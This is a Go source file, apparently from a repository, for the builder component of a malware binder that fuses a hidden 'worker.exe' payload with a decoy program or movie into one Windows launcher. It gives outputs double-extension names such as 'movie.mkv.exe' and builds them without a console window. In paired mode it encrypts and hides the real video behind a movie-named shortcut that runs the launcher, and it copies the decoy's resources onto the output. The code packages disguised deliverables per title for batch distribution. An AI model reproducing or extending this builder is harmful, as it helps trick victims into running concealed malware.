Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
345 lines
9.9 KiB
Go
345 lines
9.9 KiB
Go
package builder
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
type fusionBuildResult struct {
|
|
LauncherPath string
|
|
MediaName string
|
|
EncryptedPath string
|
|
ShortcutPath string
|
|
}
|
|
|
|
func detectFusionPayloadKind(path string) string {
|
|
switch strings.ToLower(filepath.Ext(path)) {
|
|
case ".mp4", ".mkv", ".mov":
|
|
return "video"
|
|
default:
|
|
return "exe"
|
|
}
|
|
}
|
|
|
|
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
|
kind := strings.TrimSpace(req.FusionPayloadKind)
|
|
if kind == "" {
|
|
kind = detectFusionPayloadKind(payloadPath)
|
|
}
|
|
req.FusionPayloadKind = kind
|
|
|
|
if kind == "video" {
|
|
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
|
}
|
|
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return &fusionBuildResult{LauncherPath: path}, nil
|
|
}
|
|
|
|
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
|
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
|
if mediaName == "" {
|
|
mediaName = filepath.Base(mediaPath)
|
|
}
|
|
mediaName = sanitizeFileName(mediaName)
|
|
|
|
outputName := strings.TrimSpace(req.FusionOutputName)
|
|
if mode == "embedded" {
|
|
if outputName == "" {
|
|
outputName = disguiseVideoExeName(mediaName)
|
|
}
|
|
} else {
|
|
if outputName == "" {
|
|
outputName = runnerNameForMedia(mediaName)
|
|
}
|
|
}
|
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
|
outputName += ".exe"
|
|
}
|
|
outputName = sanitizeFileName(outputName)
|
|
|
|
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
assetsDir := filepath.Join(fusionDir, "assets")
|
|
|
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
|
return nil, err
|
|
}
|
|
encFileName := mediaName + ".cmdata"
|
|
var mediaKey []byte
|
|
if mode == "paired" {
|
|
var keyErr error
|
|
mediaKey, keyErr = NewMediaLockKey()
|
|
if keyErr != nil {
|
|
return nil, keyErr
|
|
}
|
|
}
|
|
manifestFields := map[string]string{
|
|
"payload_kind": "video",
|
|
"media_mode": mode,
|
|
"media_file_name": mediaName,
|
|
}
|
|
if mode == "paired" {
|
|
manifestFields["media_enc_file"] = encFileName
|
|
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
|
manifestFields["runner_display_name"] = outputName
|
|
}
|
|
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var encryptedPath, shortcutPath string
|
|
switch mode {
|
|
case "embedded":
|
|
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
|
return nil, err
|
|
}
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
default:
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
}
|
|
|
|
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
|
ldflags := "-s -w -H windowsgui"
|
|
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if mode == "paired" {
|
|
encryptedPath = filepath.Join(buildDir, encFileName)
|
|
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
|
return nil, err
|
|
}
|
|
_ = setHiddenFile(encryptedPath)
|
|
|
|
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
|
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
|
return nil, err
|
|
}
|
|
}
|
|
|
|
return &fusionBuildResult{
|
|
LauncherPath: launcherPath,
|
|
MediaName: mediaName,
|
|
EncryptedPath: encryptedPath,
|
|
ShortcutPath: shortcutPath,
|
|
}, nil
|
|
}
|
|
|
|
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
|
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
assetsDir := filepath.Join(fusionDir, "assets")
|
|
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
|
return "", err
|
|
}
|
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
|
return "", err
|
|
}
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
|
return "", err
|
|
}
|
|
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
if outputName == "" {
|
|
outputName = filepath.Base(prepPath)
|
|
}
|
|
if outputName == "" {
|
|
outputName = "prep.exe"
|
|
}
|
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
|
outputName += ".exe"
|
|
}
|
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
|
|
|
ldflags := fusionLdflags(prepPath)
|
|
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
|
return "", err
|
|
}
|
|
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
|
return "", err
|
|
}
|
|
return outputPath, nil
|
|
}
|
|
|
|
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
|
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
|
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
|
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
|
}
|
|
|
|
fusionDir := filepath.Join(buildDir, "fusion")
|
|
assetsDir := filepath.Join(fusionDir, "assets")
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
|
|
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
for _, name := range []string{
|
|
"go.mod", "launch_windows.go", "launch_stub.go",
|
|
"media_windows.go", "media_stub.go", "media_crypto.go",
|
|
"lock_hint_windows.go", "lock_hint_stub.go",
|
|
} {
|
|
src := filepath.Join(fusionSrc, name)
|
|
if _, err := os.Stat(src); err != nil {
|
|
continue
|
|
}
|
|
if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
|
|
return "", err
|
|
}
|
|
}
|
|
return fusionDir, nil
|
|
}
|
|
|
|
func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
|
|
order := normalizeFusionOrder(runOrder)
|
|
out := string(src)
|
|
repl := map[string]string{
|
|
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
|
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
|
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
|
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
|
}
|
|
for old, new := range repl {
|
|
out = strings.Replace(out, old, new, 1)
|
|
}
|
|
return []byte(out)
|
|
}
|
|
|
|
func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
|
|
return writeFusionManifestEx(assetsDir, map[string]string{
|
|
"payload_kind": payloadKind,
|
|
"media_mode": mediaMode,
|
|
"media_file_name": mediaFileName,
|
|
})
|
|
}
|
|
|
|
func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
|
|
raw, err := json.Marshal(fields)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
|
|
}
|
|
|
|
func normalizeFusionMediaMode(mode string) string {
|
|
switch strings.ToLower(strings.TrimSpace(mode)) {
|
|
case "embedded":
|
|
return "embedded"
|
|
default:
|
|
return "paired"
|
|
}
|
|
}
|
|
|
|
func disguiseVideoExeName(mediaName string) string {
|
|
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
|
if base == "" {
|
|
base = "movie"
|
|
}
|
|
ext := filepath.Ext(mediaName)
|
|
if ext == "" {
|
|
ext = ".mkv"
|
|
}
|
|
return sanitizeFileName(base + ext + ".exe")
|
|
}
|
|
|
|
func runnerNameForMedia(mediaName string) string {
|
|
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
|
if base == "" {
|
|
base = "movie"
|
|
}
|
|
return sanitizeFileName(base + "-runner.exe")
|
|
}
|
|
|
|
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
|
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
|
return sanitizeDirName(s)
|
|
}
|
|
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
|
if base == "" {
|
|
base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
|
|
}
|
|
if base == "" {
|
|
base = sanitizeFileName(req.WorkerName)
|
|
}
|
|
return sanitizeDirName(base)
|
|
}
|
|
|
|
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
|
subdir = sanitizeDirName(subdir)
|
|
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
|
|
return "", nil
|
|
}
|
|
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
|
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
|
}
|
|
for name, src := range artifacts {
|
|
if src == "" {
|
|
continue
|
|
}
|
|
dest := filepath.Join(destDir, sanitizeFileName(name))
|
|
if err := copyFile(src, dest); err != nil {
|
|
return "", fmt.Errorf("failed to export %s: %w", name, err)
|
|
}
|
|
}
|
|
readmePath := filepath.Join(destDir, "README.txt")
|
|
if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
|
|
return "", fmt.Errorf("failed to write README.txt: %w", err)
|
|
}
|
|
log.Printf("[Builder] Fusion deliverables -> %s", destDir)
|
|
return destDir, nil
|
|
}
|
|
|
|
func sanitizeDirName(name string) string {
|
|
name = strings.TrimSpace(name)
|
|
if name == "" {
|
|
return ""
|
|
}
|
|
name = filepath.Base(name)
|
|
var b strings.Builder
|
|
for _, r := range name {
|
|
switch {
|
|
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
|
|
if r == ' ' {
|
|
b.WriteRune('_')
|
|
} else {
|
|
b.WriteRune(r)
|
|
}
|
|
}
|
|
}
|
|
out := strings.Trim(b.String(), "._")
|
|
if out == "" {
|
|
return "title"
|
|
}
|
|
return out
|
|
}
|